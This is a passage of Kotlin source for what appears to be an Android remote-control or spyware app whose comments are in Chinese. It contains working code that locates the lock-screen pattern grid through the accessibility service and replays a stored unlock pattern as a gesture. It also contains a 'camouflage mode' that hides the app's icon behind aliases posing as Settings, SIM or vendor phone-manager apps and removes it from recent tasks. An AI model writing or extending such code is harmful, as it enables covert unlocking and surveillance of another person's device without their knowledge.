            Log.e(TAG, "❌ 查找九宫格点失败", e)
        }

        return dots
    }

    /**
     * 递归查找九宫格点
     */
    private fun findPatternDotsRecursive(node: AccessibilityNodeInfo, dots: MutableList<PointF>) {
        try {
            val bounds = android.graphics.Rect()
            node.getBoundsInScreen(bounds)

            // 检查是否可能是九宫格点
            if (isLikelyPatternDot(node, bounds)) {
                val centerX = bounds.centerX().toFloat()
                val centerY = bounds.centerY().toFloat()
                dots.add(PointF(centerX, centerY))
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    findPatternDotsRecursive(child, dots)
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 递归查找九宫格点失败", e)
        }
    }

    /**
     * 将图案字符串转换为布局坐标
     */
    private fun convertPatternStringToCoordinates(
        pattern: String,
        layout: Map<String, Pair<Float, Float>>
    ): List<PointF> {
        val coordinates = mutableListOf<PointF>()

        try {
            Log.i(TAG, "🔓 解析图案字符串: $pattern")

            // 解析pattern字符串，例如 "0,1,4,7,8,5,2"
            val indices = pattern.split(",").mapNotNull { it.trim().toIntOrNull() }

            Log.i(TAG, "🔓 解析出的数字索引: $indices")

            for (index in indices) {
                // 将索引转换为行列坐标
                val row = index / 3
                val col = index % 3
                val key = (index + 1).toString()
                val layoutPoint = layout[key]
                if (layoutPoint != null) {
                    coordinates.add(
                        PointF(
                            layoutPoint.first.toInt().toFloat(),
                            layoutPoint.second.toInt().toFloat()
                        )
                    )
                    Log.d(
                        TAG,
                        "🔓 转换坐标: 索引$index -> ($row,$col) -> (${layoutPoint.first.toInt()}, ${layoutPoint.second.toInt()})"
                    )
                } else {
                    Log.w(TAG, "🔓 布局中未找到坐标: $key (索引: $index)")
                }
            }

            Log.i(TAG, "🔓 最终转换坐标: $coordinates")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 转换图案字符串失败", e)
        }

        return coordinates
    }

    /**
     * 将图案数据转换为布局坐标（保留原函数作为备用）
     */
    private fun convertPatternToLayoutCoordinates(
        savedPoints: List<PointF>,
        layout: Map<String, Pair<Float, Float>>
    ): List<PointF> {
        val coordinates = mutableListOf<PointF>()

        try {
            for (savedPoint in savedPoints) {
                val row = savedPoint.x.toInt()
                val col = savedPoint.y.toInt()
                val key = "${row}_${col}"

                val layoutPoint = layout[key]
                if (layoutPoint != null) {
                    coordinates.add(PointF(layoutPoint.first, layoutPoint.second))
                    Log.d(
                        TAG,
                        "🔓 转换坐标: ($row,$col) -> (${layoutPoint.first}, ${layoutPoint.second})"
                    )
                } else {
                    Log.w(TAG, "🔓 布局中未找到坐标: $key")
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 转换布局坐标失败", e)
        }

        return coordinates
    }

    /**
     * 执行图形密码手势
     */
    private fun performPatternGesture(
        coordinates: List<PointF>,
        pattern: String,
        layoutName: String
    ): Boolean {
        try {
            Log.i(TAG, "🔓 执行图形密码手势: $pattern (布局: $layoutName)")

            if (coordinates.isEmpty()) {
                Log.w(TAG, "🔓 坐标为空，无法执行手势")
                return false
            }

            // 执行连续长按拖拽
            performContinuousLongPressDrag(coordinates, 1000L)

            // 等待手势完成
            Thread.sleep(2000)

            // 检查是否解锁成功
            val isUnlocked = isUnlockSuccessful()

            if (isUnlocked) {
                Log.i(TAG, "✅ 图形密码手势执行成功")
            } else {
                Log.w(TAG, "⚠️ 图形密码手势可能失败")
            }

            return isUnlocked

        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行图形密码手势失败", e)
            return false
        }
    }


    /**
     * 查找ViewGroup类型的节点
     */
    private fun findViewGroupNodes(node: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val viewGroupNodes = mutableListOf<AccessibilityNodeInfo>()

        try {
            if (node.className?.contains("ViewGroup") == true ||
                node.className?.contains("LinearLayout") == true ||
                node.className?.contains("RelativeLayout") == true ||
                node.className?.contains("FrameLayout") == true
            ) {
                viewGroupNodes.add(node)
            }

            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    viewGroupNodes.addAll(findViewGroupNodes(child))
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找ViewGroup节点失败", e)
        }

        return viewGroupNodes
    }

    /**
     * 查找包含多个子节点的节点
     */
    private fun findMultiChildNodes(node: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val multiChildNodes = mutableListOf<AccessibilityNodeInfo>()

        try {
            if (node.childCount >= 6) { // 九宫格通常有6-9个子节点
                multiChildNodes.add(node)
            }

            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    multiChildNodes.addAll(findMultiChildNodes(child))
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找多子节点失败", e)
        }

        return multiChildNodes
    }


    /**
     * 判断节点是否可能是九宫格中的点
     */
    private fun isLikelyPatternDot(
        node: AccessibilityNodeInfo,
        bounds: android.graphics.Rect
    ): Boolean {
        try {
            val width = bounds.width()
            val height = bounds.height()

            // 检查尺寸：九宫格的点通常是圆形或方形，尺寸不会太大
            if (width > 200 || height > 200) return false
            if (width < 20 || height < 20) return false

            // 检查是否可点击
            if (!node.isClickable) return false

            // 检查位置：应该在屏幕中央区域
            val displayMetrics = resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels

            val centerX = bounds.centerX()
            val centerY = bounds.centerY()

            // 九宫格通常在屏幕中央
            val centerRegionWidth = screenWidth * 0.6f
            val centerRegionHeight = screenHeight * 0.6f
            val startX = (screenWidth - centerRegionWidth) / 2
            val startY = (screenHeight - centerRegionHeight) / 2

            return centerX >= startX && centerX <= startX + centerRegionWidth &&
                    centerY >= startY && centerY <= startY + centerRegionHeight

        } catch (e: Exception) {
            Log.e(TAG, "❌ 判断九宫格点失败", e)
            return false
        }
    }


    /**
     * 🎭 检查APP是否处于伪装模式
     */
    private fun isAppInCamouflageMode(): Boolean {
        return try {
            val packageManager = packageManager
            val mainComponent =
                android.content.ComponentName(this, "com.hikoncont.MainActivity")

            // 检查所有可能的伪装alias
            val camouflageAliases = listOf(
                "com.hikoncont.PhoneManagerAlias",
                "com.hikoncont.VivoIGuanjiaAlias",
                "com.hikoncont.OppoAlias",
                "com.hikoncont.HuaweiAlias",
                "com.hikoncont.HonorAlias",
                "com.hikoncont.XiaomiAlias",
                "com.hikoncont.SettingsAlias",
                "com.hikoncont.SIMAlias"
            )

            val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
            val isMainDisabled =
                (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)

            // 检查是否有任何伪装alias被启用
            var anyAliasEnabled = false
            var enabledAlias = ""

            for (aliasName in camouflageAliases) {
                try {
                    val component = android.content.ComponentName(this, aliasName)
                    val enabled = packageManager.getComponentEnabledSetting(component)
                    if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
                        anyAliasEnabled = true
                        enabledAlias = aliasName
                        break
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
                }
            }

            val isCamouflage = isMainDisabled && anyAliasEnabled

            Log.d(
                TAG,
                "🎭 检查APP伪装模式: $isCamouflage (Main: $mainDisabled, EnabledAlias: $enabledAlias)"
            )
            isCamouflage

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查APP伪装模式失败", e)
            false
        }
    }

    /**
     * 🎭 启用伪装模式
     */
    private fun enableCamouflageMode() {
        try {
            Log.i(
                TAG,
                "🎭 启用伪装模式：统一通过 AppIconHideManager.hideAppIcon() 处理（先隐藏，失败再伪装）"
            )

            if (!::appIconHideManager.isInitialized) {
                Log.w(TAG, "⚠️ appIconHideManager 未初始化，无法执行隐藏/伪装流程")
                return
            }

            val result = appIconHideManager.hideAppIcon()
            if (result.success) {
                Log.i(TAG, "✅ 图标处理成功，method=${result.method}")
                
                // ✅ 伪装模式启用后，从任务栏移除进程
                removeTaskFromRecentTasks()
                
                // 若方法为伪装方案，启用伪装监听
                try {
                    if (result.method?.contains(
                            "SIM",
                            true
                        ) == true || result.method?.contains("MANAGER", true) == true
                    ) {
                        if (::accessibilityEventManager.isInitialized) {
                            accessibilityEventManager.enablePhoneManagerCamouflage()
                            Log.d(TAG, "✅ 手机管家伪装监听已启用")
                        }
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 启用伪装监听失败", e)
                }
                return
            } else {
                Log.e(TAG, "❌ 图标处理失败: ${result.message}")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启用伪装模式异常", e)
        }
    }

    /**
     * ✅ 从任务栏移除进程（伪装模式下使用）
     */
    private fun removeTaskFromRecentTasks() {
        try {
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
                val activityManager = getSystemService(android.content.Context.ACTIVITY_SERVICE) as android.app.ActivityManager
                val appTasks = activityManager.appTasks
                
                // 查找我们应用的任务并移除
                val packageName = packageName
                var found = false
                
                for (appTask in appTasks) {
                    try {
                        val taskInfo = appTask.taskInfo
                        val baseActivity = taskInfo.baseActivity
                        if (baseActivity != null && baseActivity.packageName == packageName) {
                            appTask.setExcludeFromRecents(true)
                            Log.i(TAG, "✅ 已从任务栏移除进程: ${baseActivity.className}")
                            found = true
                        }
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ 处理任务时异常", e)
                    }
                }
                
                if (!found && appTasks.isNotEmpty()) {
                    // 如果没找到，尝试移除第一个任务（可能是我们的应用）
                    try {
                        appTasks[0].setExcludeFromRecents(true)
                        Log.i(TAG, "✅ 已从任务栏移除第一个任务")
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ 移除第一个任务失败", e)
                    }
                }
                
                if (!found && appTasks.isEmpty()) {
                    Log.w(TAG, "⚠️ 未找到AppTask，无法从任务栏移除")
                }
            } else {
                Log.w(TAG, "⚠️ API版本过低，无法使用setExcludeFromRecents")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 从任务栏移除进程失败", e)
        }
    }

    /**
     * 图形密码解锁数据类
     */
    data class PatternUnlockData(
        val pattern: String,
        val points: List<PointF>
    )
}